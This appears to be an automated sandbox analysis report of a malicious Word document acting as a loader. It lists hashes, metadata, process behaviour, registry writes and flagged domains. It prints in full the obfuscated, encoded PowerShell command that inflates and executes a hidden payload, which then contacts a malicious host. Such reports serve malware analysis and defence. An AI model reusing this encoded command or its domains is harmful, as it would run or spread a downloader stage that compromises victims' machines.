| File name: | maldoc.bin |
| Full analysis: | https://app.any.run/tasks/b9d02b3c-078f-468b-9654-30ba9e87c495 |
| Verdict: | Malicious activity |
| Threats: | A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection. |
| Analysis date: | October 20, 2020, 00:15:50 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/msword |
| File info: | Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, Code page: 1251, Title: 4f77bcf5-fa96-419b-91ad-e36ef7cc8d4a, Subject: 118e9c6f-994e-4e7e-87f5-e9680fee79c3, Author: PRINTER-PC\\24-JOHN, Comments: thhxneyggkbdnmzdt, Template: Normal, Last Saved By: Windows, Revision Number: 7, Name of Creating Application: Microsoft Office Word, Total Editing Time: 01:00, Create Time/Date: Tue Aug 6 10:17:00 2019, Last Saved Time/Date: Wed Oct 2 09:57:00 2019, Number of Pages: 1, Number of Words: 0, Number of Characters: 1, Security: 0 |
| MD5: | 77113C4B55769ED162E3434207AB72DE |
| SHA1: | 7C363326DFD118A46789F15DD83EB1E433241A58 |
| SHA256: | 3F79AA9CC581BF852D80E1FB9F85C69E7E44871FCD7E7E667211940EB9B6D060 |
| SSDEEP: | 768:gOxsgI/Q5Bfu44ca6WwFPbsexTNgniv3y2ceDSxz99QGwFbWPJappxpVp:bsgWQ5d1HNNgniPy2ceDS3mTFKPJ0jX |
MALICIOUS
Unusual execution from Microsoft Office
- WINWORD.EXE (PID: 2084)
Drops known JS loader
- WINWORD.EXE (PID: 2084)
Executes scripts
- WINWORD.EXE (PID: 2084)
SUSPICIOUS
Executes PowerShell scripts
- WScript.exe (PID: 604)
Creates files in the Windows directory
- WINWORD.EXE (PID: 2084)
- powershell.exe (PID: 2692)
Creates files in the user directory
- powershell.exe (PID: 2692)
Removes files from Windows directory
- powershell.exe (PID: 2692)
INFO
Reads Microsoft Office registry keys
- WINWORD.EXE (PID: 2084)
Creates files in the user directory
- WINWORD.EXE (PID: 2084)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .doc | | | Microsoft Word document (54.2) |
|---|---|---|
| .doc | | | Microsoft Word document (old ver.) (32.2) |
EXIF
FlashPix
| Title: | 4f77bcf5-fa96-419b-91ad-e36ef7cc8d4a |
|---|---|
| Subject: | 118e9c6f-994e-4e7e-87f5-e9680fee79c3 |
| Author: | PRINTER-PC\\24-JOHN |
| Keywords: | - |
| Comments: | thhxneyggkbdnmzdt |
| Template: | Normal |
| LastModifiedBy: | Пользователь Windows |
| RevisionNumber: | 7 |
| Software: | Microsoft Office Word |
| TotalEditTime: | 1.0 minutes |
| CreateDate: | 2019:08:06 09:17:00 |
| ModifyDate: | 2019:10:02 08:57:00 |
| Pages: | 1 |
| Words: | - |
| Characters: | 1 |
| Security: | None |
| CodePage: | Windows Cyrillic |
| Manager: | b1634bd7-b7e6-4527-aa8a-c3937460d4c0 |
| Company: | - |
| Bytes: | 27648 |
| Lines: | 1 |
| Paragraphs: | 1 |
| CharCountWithSpaces: | 1 |
| AppVersion: | 16 |
| ScaleCrop: | No |
| LinksUpToDate: | No |
| SharedDoc: | No |
| HyperlinksChanged: | No |
| TitleOfParts: |
|
| HeadingPairs: |
|
| CompObjUserTypeLen: | 32 |
| CompObjUserType: | Microsoft Word 97-2003 Document |
Total processes
41
Monitored processes
3
Malicious processes
1
Suspicious processes
2
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 604 | "C:\Windows\System32\WScript.exe" "C:\Windows\Temp\khtcfmtbsf.js" | C:\Windows\System32\WScript.exe | — | WINWORD.EXE | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft ® Windows Based Script Host Exit code: 0 Version: 5.8.7600.16385 Modules
| |||||||||||||||
| 2084 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\maldoc.bin.doc" | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | explorer.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Exit code: 0 Version: 14.0.6024.1000 Modules
| |||||||||||||||
| 2692 | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -En IAAoACAALgAoACcAbgBFAHcAJwArACcALQBPAEIAJwArACcAagAnACsAJwBlAGMAdAAnACkAIAAgAFMAWQBTAFQAYABlAG0AYAAuAGkAbwBgAC4AQwBPAE0AUABSAGAARQBgAHMAUwBpAE8AYABOAC4AZABlAGYAbABBAFQAZQBgAFMAVABSAEUAQQBtACgAWwBzAHkAUwB0AGUAbQAuAEkATwAuAE0ARQBNAE8AcgBZAHMAdAByAGUAQQBtAF0AWwBzAFkAUwBUAGUATQAuAEMATwBOAFYAZQByAFQAXQA6ADoARgBSAG8ATQBCAGEAcwBlADYANABzAHQAcgBpAG4ARwAoACcAZgBjADEAQgBDADQASQB3AEcATQBiAHgAcgArAEoAQgBtAEYASgB0AFYAbwBmAEEAawBDAEEAdABDAEsAUwBUADQATQBXAEQAYwA3ADMATQB4AGUAYQBHAEwAaQBaADkAKwBsAFoAMABqAEMANwB2AGMAMwBuADUALwBVAE0ASABYAFkAWQBqAE4ASwBBAEYAQQByAGYAUwBmAHIAbwA3AE0ASQB2AGkANABBAHAAdAAxAGUASQBhAHUAagBZAHYAQgBWAHkAcgBmAFIARAA2AFoAMQB6AG8AZQBpAGcAMQBMAGMANgBYADgAaABTAGgAMwBsAHEAVABFAHEASQBmAGIAQgBSAE0ASwB5AHEAeAB2ADAAUgBwAFQAcQBVAGkAZABxAFMAegBZAE4AagAwADUAaQBBAHoAUABtAHIATwB0ADEAZwArAE4AMgBnAFoAbwBEAHgAdABhAGoASABjAHQASgB1AGEAQwBwAFIAcABkAGsAbQBDAFkAUQBZAFUALwA2AHQATQBWAE0ARQBrAHcAZABPAGYAeQB0AEYAWAAzAEYAdgAvAEQAYQA2AC8ANABBAHMAPQAnACkAIAAsAFsAcwBZAHMAVABlAG0ALgBpAG8ALgBjAE8ATQBwAFIAZQBTAHMAaQBPAE4ALgBDAG8AbQBwAHIAZQBzAHMASQBPAE4ATQBPAEQARQBdADoAOgBEAEUAQwBvAG0AcAByAGUAUwBTACAAKQB8ACYAKAAnAGYAJwArACcAbwByAGUAJwArACcAYQBjAEgAJwApAHsAIAAmACgAJwBOAEUAVwAtAG8AYgAnACsAJwBKACcAKwAnAEUAYwBUACcAKQAgACAAaQBgAG8ALgBgAFMAYABUAHIAZQBhAG0AUgBFAEEARABFAFIAKAAkAF8ALABbAHMAeQBTAFQAZQBtAC4AVABFAHgAVAAuAEUATgBjAG8AZABJAG4ARwBdADoAOgBhAHMAQwBpAGkAKQAgAH0AfAAuACgAJwBGAG8AcgBFAGEAJwArACcAQwAnACsAJwBIACcAKQB7ACQAXwAuAHIAZQBBAGQAVABvAEUATgBEACgAKQAgAH0AIAApACAAfAAuACgAJwBJAGUAeAAnACkA | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | WScript.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
Total events
1 977
Read events
1 177
Write events
673
Delete events
127
Modification events
| (PID) Process: | (2084) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems |
| Operation: | write | Name: | /:7 |
Value: 2F3A370024080000010000000000000000000000 | |||
| (PID) Process: | (2084) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1033 |
Value: Off | |||
| (PID) Process: | (2084) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1041 |
Value: Off | |||
| (PID) Process: | (2084) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1046 |
Value: Off | |||
| (PID) Process: | (2084) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1036 |
Value: Off | |||
| (PID) Process: | (2084) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1031 |
Value: Off | |||
| (PID) Process: | (2084) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1040 |
Value: Off | |||
| (PID) Process: | (2084) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1049 |
Value: Off | |||
| (PID) Process: | (2084) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 3082 |
Value: Off | |||
| (PID) Process: | (2084) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1042 |
Value: Off | |||
Executable files
0
Suspicious files
2
Text files
1
Unknown types
3
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 2084 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\CVR420F.tmp.cvr | — | |
MD5:— | SHA256:— | |||
| 2692 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\8KFNDBHRBMPQLBNE0ZG7.temp | — | |
MD5:— | SHA256:— | |||
| 2692 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms | binary | |
MD5:— | SHA256:— | |||
| 2084 | WINWORD.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotm | pgc | |
MD5:— | SHA256:— | |||
| 2084 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\~$ldoc.bin.doc | pgc | |
MD5:— | SHA256:— | |||
| 2084 | WINWORD.EXE | C:\Windows\Temp\khtcfmtbsf.js | text | |
MD5:— | SHA256:— | |||
| 2692 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF2d4e53.TMP | binary | |
MD5:— | SHA256:— | |||
| 2084 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\VBE\MSForms.exd | tlb | |
MD5:— | SHA256:— | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
0
TCP/UDP connections
1
DNS requests
2
Threats
0
HTTP requests
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
2692 | powershell.exe | 198.54.117.197:80 | sameslealm.com | Namecheap, Inc. | US | malicious |
DNS requests
Domain | IP | Reputation |
|---|---|---|
oucricomal.com |
| malicious |
sameslealm.com |
| malicious |